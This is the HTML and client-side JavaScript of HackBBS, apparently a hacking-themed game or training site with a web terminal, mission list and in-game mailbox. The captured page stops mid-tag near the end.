<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8" />
    <title>HackBBS</title>
    <script src="https://code.jquery.com/jquery-3.7.0.min.js"></script>
    <script src="https://hackbbs.org/resources/perfect-scrollbar.js" type="text/javascript"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.13.2/jquery-ui.min.js" type="text/javascript"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.13.2/themes/ui-lightness/jquery-ui.min.css" type="text/css">
    <script src="https://hackbbs.org/resources/jquery.mousewheel.js" type="text/javascript"></script>

    <script src="https://www.unpkg.com/jquery.terminal/js/jquery.terminal.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/mermaid@10/dist/mermaid.min.js"></script>

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/flag-icon-css/6.6.6/css/flag-icons.min.css">


    <link rel="stylesheet" href="https://hackbbs.org/resources/css/hackbbs/tabs.css?1775661550" type="text/css">
    <link rel="stylesheet" href="https://hackbbs.org/style.css?1775661550" type="text/css">
    <link rel="stylesheet" type="text/css" href="https://hackbbs.org/resources/marketplace/styleMarketplace.css">

    <link rel="stylesheet" href="https://hackbbs.org/resources/perfect-scrollbar.css" type="text/css">

    <meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
    <meta name="csrf-token" content="496d6a6fcc33d08fc7170d6939c578a87de131d2c70d708517743aae159204c0">

    <script src="https://cdnjs.cloudflare.com/ajax/libs/web3/1.7.4-rc.1/web3.min.js"></script>

    <script src="./resources/ethereum.js"></script>

    <link href="https://www.unpkg.com/jquery.terminal/css/jquery.terminal.css" rel="stylesheet" />
    <!-- We need cryptojs for encrypting the local websocket with localbbs -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.js"></script>
    <script src="https://hackbbs.org/resources/websocket.js?1775661550"></script>

    <script src="https://hackbbs.org/resources/network.js"></script>

    <!-- START REQUIREMENTS FOR MAP -->
    <script src="https://d3js.org/d3.v3.min.js"></script>
    <script src="https://d3js.org/d3.geo.projection.v0.min.js"></script>
    <script src="https://d3js.org/topojson.v1.min.js"></script>

    <script src="https://cdn.ckeditor.com/ckeditor5/36.0.1/classic/ckeditor.js"></script>

    <!-- <script src="./resources/map/threats.js?1775661550"></script> -->
<script src="https://datamaps.github.io/scripts/datamaps.world.min.js?v=1"></script>
<script src="./resources/map/threats.js?1775661550"></script>


    <script src="https://hackbbs.org/resources/skulpt.js?1775661550" type="text/javascript"></script>
    <script src="https://hackbbs.org/resources/skulpt-stdlib.js" type="text/javascript"></script>

    <!-- END REQUIREMENTS FOR MAP -->
</head>

<body>


    <script>
        function about() {
            $("#about").modal();
        }
    </script>
    <script type="text/javascript">

        function generateRandomString(length) {
            const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
            let result = '';
            const charactersLength = characters.length;
            for (let i = 0; i < length; i++) {
                result += characters.charAt(Math.floor(Math.random() * charactersLength));
            }
            return result;
        }

        function createTagForCommand(){
            // Example usage:
            const randomString = generateRandomString(10);
            console.log("Generated string:"+randomString); // Output: A random string of 10 characters
            const pElement = document.createElement('span');
            pElement.id = randomString; 
            pElement.innerHTML = `<!-- This paragraph has the id: ${randomString} -->`;
            const terminalOutputDiv = document.querySelector('.terminal-output');
            if (terminalOutputDiv){
            terminalOutputDiv.appendChild(pElement);
            }else{
                 console.log("Terminal output is null");
            }
            return randomString;

            //document.body.appendChild(pElement);
        }


        var hasMessage = 0;
        var termLine = "[[g;green;black]anonymous@HackBBS[[g;white;black]:[[g;blue;black]/[[g;white;black]$ ";
        var backTermLine = "[[g;green;black]anonymous@HackBBS[[g;white;black]:[[g;blue;black]/[[g;white;black]$ ";

        function setTermLine(newTermLine) {
            backTermLine = newTermLine;
            termLine = newTermLine;
            //console.log("New termline: " + termLine);
            terminalObject.set_prompt(termLine);
            /*var prompt_node = $('.prompt');
            prompt_node.html($.terminal.format($.terminal.encode(backTermLine)));*/
        }

        function disableTermLine() {
            if (termLine != "") {
                backTermLine = termLine;
                termLine = "";
            }
            return termLine;
        }

        function restoreTermLine() {
            termLine = backTermLine;
            return termLine;
        }

        function getTermLine() {
            return termLine;
        }

        function openWindow(title, content) {
            $(content).dialog({
                hide: 'fold',
                show: 'blind',
                title: title,
                autoOpen: true
            });
        }

        function openWindow(title, content, sizeX, sizeY) {

            const clonedContent = $(content).clone();
            $(clonedContent).dialog({
                hide: 'fold',
                show: 'blind',
                title: title,
                height: sizeY,
                width: sizeX+20,
                close: function(event, ui) {
                    $(this).dialog('destroy').remove();
                },
                open: function(event, ui) {
                    // Retrieve the iframes within the dialog after it is opened
                    $(this).css('width', '97%'); 
                    $(this).find('*').css('width', '100%');
                }
            });
            
        }

        function getCookie(name) {
            function escape(s) {
                return s.replace(/([.*+?\^$(){}|\[\]\/\\])/g, '\\$1');
            }
            var match = document.cookie.match(RegExp('(?:^|;\\s*)' + escape(name) + '=([^;]*)'));
            return match ? match[1] : null;
        }

        $(document).on("click", ".closeButton", function() {
            $(this).closest(".ui-dialog").remove();  // Removes the entire dialog wrapper
        });


        //On declare terminal en global pour pouvoir y accéder des modules
        var terminal = null;
        var isCommandInProgress = false;
        let commandQueue = [];

        localStorage.setItem('csrf-token', $('meta[name="csrf-token"]').attr('content'));

        function updateCsrfToken(newToken) {
            $('meta[name="csrf-token"]').attr('content', newToken);
            localStorage.setItem('csrf-token', newToken);
        }

        function isRunningCommand() {
            return isCommandInProgress;
        }

        function setRunningCommand(status) {
            isCommandInProgress = status;
        }

        function processQueue() {
            if (commandQueue.length > 0) {
                const {
                    command,
                    term
                } = commandQueue.shift();
                //console.log('Processing queued command:', command);
                $('#terminal').terminal().exec(command);
            }
        }

        async function executeCommand(command, idCmd=null) {

            isCommandInProgress = isRunningCommand();
                
            if (isCommandInProgress) {
                //console.log('Error, command('+command+') in progress', isCommandInProgress);
                commandQueue.push({
                    command,
                    term
                });
                //return $('#terminal').terminal().exec(command);
                return;
            }

            setRunningCommand(true);


            if (idCmd==null){
                idCmd=createTagForCommand();
            }else{
                console.log("We re-execute a previous command");
            }

            const csrfToken = localStorage.getItem('csrf-token');

            try {
                command = command.replace(/\\'/g, '&#39;');
                //console.log('Command in progress (' + command + ')');
                $.ajax({
                    dataType: "json",
                    type: "POST",
                    url: "php/dispatcher.php?lang=en",
                    data: {
                        command: command
                    },
                    beforeSend: function(xhr) {
                        xhr.setRequestHeader('X-CSRF-Token', csrfToken);
                        xhr.setRequestHeader('idCmd', idCmd);
                    },
                    error: function(jqXHR, textStatus, errorThrown) {
                        if (jqXHR.status == 408 && retryCount < maxRetries) {
                            retryCount++;
                            console.log(`Retrying... (${retryCount}/${maxRetries})`);
                            setTimeout(executeCommand.bind(null, command), 1000); // Retry after 1 second
                        } else {
                            setRunningCommand(false);
                            term.error("We were unable to execute this command");
                            term.set_mask(false);
                        }
                    },
                    complete: function(jqXHR, textStatus, errorThrown) {
                        newCsrfToken = jqXHR.getResponseHeader('X-CSRF-Token');

                        if (newCsrfToken) {
                            updateCsrfToken(newCsrfToken);
                            //console.log('Success, new csrf:', newCsrfToken);

                        }
                    }
                }).done(function(data, textStatus, jqXHR) {
                    //term.echo(data+"<br>");
                    // We check display mode
                    lastData = data;

                    newCsrfToken = jqXHR.getResponseHeader('X-CSRF-Token');

                    if (newCsrfToken) {
                        updateCsrfToken(newCsrfToken);
                        //console.log('Success, new csrf:', newCsrfToken);

                    }
                    setRunningCommand(false);

                    if (data["displayMode"] == 2) {
                        // We get size
                        if (data["sizeX"] > 0 && data["sizeY"] > 0) {
                            openWindow(command, data["htmlData"], data["sizeX"], data["sizeY"]);
                        } else {
                            openWindow(command, data["htmlData"]);
                        }
                    } else if (data["displayMode"] == 3) {
                        term.typing('echo', 100, data["htmlData"], function() {});
                    } else {
                        if (data["htmlData"].length > 0) {
                            term.echo(data["htmlData"] + "<br>" + '\n', {
                                raw: true
                            });
                        }
                    }
                    // We get and eval javascript
                    if (data["js"] != "") {
                        //console.log("We are going to evaluate: "+data['js']);
                        eval(data["js"]);
                    }
                    // We check if we should mask command line
                    if (term !=null){
                        if (data["mask"] == 1) {
                            term.set_mask(true);
                        } else {
                            term.set_mask(false);
                        }
                    }
                    // We check if module keeps handle;
                    if (data["keepTermHandle"] == true) {
                        disableTermLine();
                        var prompt_node = $('.prompt');
                        prompt_node.html($.terminal.format($.terminal.encode("")));

                    } else {
                        restoreTermLine();
                        var prompt_node = $('.prompt');
                        prompt_node.html($.terminal.format($.terminal.encode(backTermLine)));
                    }

                }).fail(function(jqXHR, textStatus, errorThrown) {
                    if (jqXHR.status === 408 && retries > 0) {
                        console.log(`Request timed out. Retrying... (${retries} retries left)`);
                        makeAjaxRequest(command, csrfToken, retries - 1);
                    } else {
                        console.error("Request failed: " + textStatus, errorThrown);
                        setRunningCommand(false);
                    }
                });

            } catch (error) {
                console.log('We were not able to execute this command');
            } finally {
                // Reset the flag after the command is finished
                setTimeout(processQueue, 1000);
            }

        }
        term = null;
        $(document).ready(function() {
            terminalInitialized = true;

            //CRTTextAnim();
            //CRTAnim();
            // We set crrect height

            /*
            var winHeight = $(window).height();
            $('#terminal').height(winHeight - 300);
            $(window).resize(function() {
                var winHeight = $(window).height();
                $('#terminal').height(winHeight - 300);
            });
            */

            //
            //$('#terminal').perfectScrollbar();

            lastData = null;


            terminalObject = $('#terminal').terminal(function(command, termm) {

                isCommandInProgress = isRunningCommand();
                term = termm;

                if (isCommandInProgress) {
                    //console.log('Error, command('+command+') in progress', isCommandInProgress);
                    commandQueue.push({
                        command,
                        term
                    });
                    //return $('#terminal').terminal().exec(command);
                    return;
                }
                //console.log('Command in progress ('+command+'):', isCommandInProgress);
                executeCommand(command);
            }, {
                prompt: getTermLine(),
                greetings: null
            });

            
            if (hasMessage == 1) {
                var msgValue = "+------------------------------------------------+\n|                                                |\n| Vous avez un nouveau message dans votre InBox. |\n| Type cat InBox                                 |\n|                                                |\n+------------------------------------------------+";
                terminalObject.typing('echo', 1, msgValue, function() {});
            }


        });

        function CRTTextAnim() {
            $("#container").animate({
                    opacity: 98
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 0.98
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 1
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 0.98
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 1
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 0.98
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 1
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 0.98
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 1
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 0.98
                }, {
                    duration: 100
                });
            window.setTimeout(function() {
                CRTTextAnim()
            }, 1000);
        }

        function CRTAnim() {
            $("body").append("<div class='CRTBar' id='CRTBar'></div>");
            $("#CRTBar").animate({
                top: $(document).height() - 100
            }, 1800);
            //$("#CRTBar").remove();
            window.setTimeout(function() {
                $("#CRTBar").remove();
                CRTAnim();
            }, 1800);
        }

        function postIt(messageHTML) {
            if (messageHTML.includes("Command_Clear")) {
                $('#postit').empty();
            } else {
                displayPostIt(true);
                //console.log("we received a new msg");
                $('#postit').append(messageHTML);
            }
        }

        function missionIt(messageHTML) {
            if (messageHTML.includes("Command_Clear")) {
                $('#missionit').empty();
            } else {
                //displayPostIt(true);
                //console.log("we received a new msg");
                $('#missionit').append(messageHTML);
            }
        }

        function displayPostIt(showPostIt = true) {

            if (showPostIt == true) {
                document.getElementById('postitContainer').style.display = 'block';
            } else {
                document.getElementById('postitContainer').style.display = 'None';
            }
        }

        function attackDiv(message) {
            $('#attackdiv').append(message);
            $('#attackdiv').animate({
                scrollTop: $('#attackdiv').prop("scrollHeight")
            }, 500);
        }

        function loadAchievement(target) {
            $.ajax({
                dataType: "text",
                type: "GET",
                url: "resources/achievements/wiki.php?page=" + target
            }).done(function(data) {
                openWindow("Mission", data, 600, 800);
            });
        }

        function loadResource(target, width = 600, height = 800) {
            $.ajax({
                dataType: "text",
                type: "GET",
                url: "resources/" + target
            }).done(function(data) {
                openWindow("Resource", data, width, height);
            });
        }

        function loadRemoteFile(target, width = 600, height = 800) {
            $.ajax({
                dataType: "text",
                type: "GET",
                url: target
            }).done(function(data) {
                openWindow("Resource", data, width, height);
            });
        }

        var state = "init";

        function sendMsgSocket(msg) {
            if (socket.readyState === WebSocket.OPEN) {
                socket.send(msg);
            } else {
                console.log('The websoket is not available for ' + msg);
            }
        }

        function updateStateMachine(contractId, flagValue) {
            if (socket.readyState === WebSocket.OPEN) {
                if (state == "init") {
                    msg = {
                        type: "message",
                        text: "start",
                        username: getCookie("username"),
                        id: getCookie("PHPSESSID"),
                        contractId: contractId,
                        flag: "0",
                        date: Date.now()
                    }

                    sendMsgSocket(JSON.stringify(msg));

                    state = "started";

                } else if (state == "started") {
                    msg = {
                        type: "message",
                        text: "getContracts",
                        username: getCookie("username"),
                        id: getCookie("PHPSESSID"),
                        contractId: contractId,
                        flag: flagValue,
                        date: Date.now()
                    }
                    state = "awaitContracts";
                    sendMsgSocket(JSON.stringify(msg));
                }
            }
        }
    </script>



            <div class="postitContainer" id="postitContainer">

            <div class="tape" style=" "></div>
            <!--<div class="taches" style=" "></div>-->

            <div class="sketch" style=" "><img src='./resources/skull.png' onerror="javascript:window.location.replace('https://hackbbs.org/index.php');" /></div>

            <div id="postit" class="postit" style=""><br>
                <a href="javascript:loadAchievement('HackBBS:Authentification');">- S'authentifier</a><br>            </div>
        </div>

    

    <div id="tabs">
    <form method="GET" id="langForm" style='display:inline-flex'>
                <button type="submit" name="lang" value="en" class="flag-button">
                    <span class="fi fi-gb flag-icon" title="English"></span>
                </button>

                <button type="submit" name="lang" value="fr" class="flag-button">
                    <span class="fi fi-fr flag-icon" title="Français"></span>
                </button>

                <button type="submit" name="lang" value="ci" class="flag-button">
                    <span class="fi fi-ci flag-icon" title="Cote d'Ivoire"></span>
                </button>
            </form>

    <div class="tab">
        
        <button class="tablinks" onclick="openTab(event,'missions')" id="defaultTab">Missions</button>
        <button class="tablinks" onclick="executeTerminalCommandAndOpenTab(event);openTab(event,'mailBox');" id="mailboxButton" style="display: none">Mailbox</button>
        <button class="tablinks" onclick="openTab(event,'chatBox')" id="chatButton">ChatBox</button>
        


    </div>

    <div id="tabContainer">
        <div id="missions" class="tabcontent">
            <br /><br />
            </br>
            <div id="missionit" class="missionit mission-list" style="">
                <a href="javascript:loadAchievement('HackBBS:Authentification');">- S'authentifier</a><br>            </div>
            </br>
        </div>


        <div id="mailBox" class="tabcontent">
            </br>
            <div class="mailTab">
                <button class="mailTablinks" onclick="openMailTab(event,'InBox')" id="defaultMailTab">InBox</button>
                <button class="mailTablinks" onclick="openMailTab(event,'OutBox')">OutBox</button>
                <button class="mailTablinks" onclick="openMailTab(event,'SendBox')">SendBox</button>
                <button class="mailTablinks" onclick="openMailTab(event,'SharedBox')">SharedBox</button>
            </div>
            <script>
                let terminalInitialized = false;

                function executeTerminalCommandAndOpenTab(event) {

                    // Ensure the terminal is initialized and then execute the command
                    event.preventDefault();

                    if (terminalInitialized) {
                        if ($('#terminal').length && $('#terminal').hasClass('terminal')) {
                            //$('#terminal').terminal().exec('messagebox -get');
                            executeCommand('messagebox -get');
                        } else {
                            console.error("Terminal not initialized or does not exist.");
                        }
                    } else {
                        console.error("Terminal not initialized or does not exist.");
                    }

                    // Open the mail tab

                    openMailTab(event, 'InBox');
                    $('#defaultMailTab').addClass('active');
                }
            </script>

            <div id="InBox" class="mailboxcontent">
                </br>
                <div id="newMails">
                    You have <span style="color:orange;" id='mailsNumber'>0</span> new message(s).
                </div>
                </br>
                </br>
                </br>
                <div id="mailList">
                </div>
                </br>

                
            </div>

            <div id="OutBox" class="mailboxcontent">
                </br>
                </br>
                </br>
                <div id="outmailList">
                </div>
                </br>

                
            </div>

            <div id="SendBox" class="mailboxcontent">
                </br>
                <label id="sendMsg">To: </label></br>
                <input name="msgTo" type="text" id="msgSendTo"></input></br>

                <label id="sendMsg">Subject: </label></br>
                <input name="msgTo" type="text" id="subject"></input></br>

                <label id="sendMsg">Message: </label></br>
                <textarea name="theMsg" type="text" id="msgToSend" rows="15"></textarea></br>

                <label id="sendMsg">Share File: </label></br>
                <input name="msgTo" type="text" id="shareFile"></input></br></br>


                <button id="sendMsgButton"><img id="sendMsgButtonimg" src='data:image/png;base64,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' alt="Send message"></img></button></br>
            </div>

            <div id="SharedBox" class="mailboxcontent">
                </br>
                <div id="sharedBoxSelection">
                    <label for="sharedBoxDropdown">Select SharedBox:</label>
                    <select id="sharedBoxDropdown">
                        <option value="role">No shared role</option>
                    </select>
                </div>
                </br>
                <div id="sharedMails">
                    You have <span style="color:orange;" id='sharedMailsNumber'>0</span> new message(s) in the selected SharedBox.
                </div>
                </br>
                </br>
                <div id="sharedMailList"></div>
                </br>

               <!-- <div id="sharedboxButtons">
                    <button id="sharedReplyButton"><img title="Reply" id="sharedReplyButtonImg" src="data:image/png;base64,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" alt="Reply"></img></button>
                    <button id="sharedTransfButton"><img title="Forward" id="sharedTransfButtonImg" 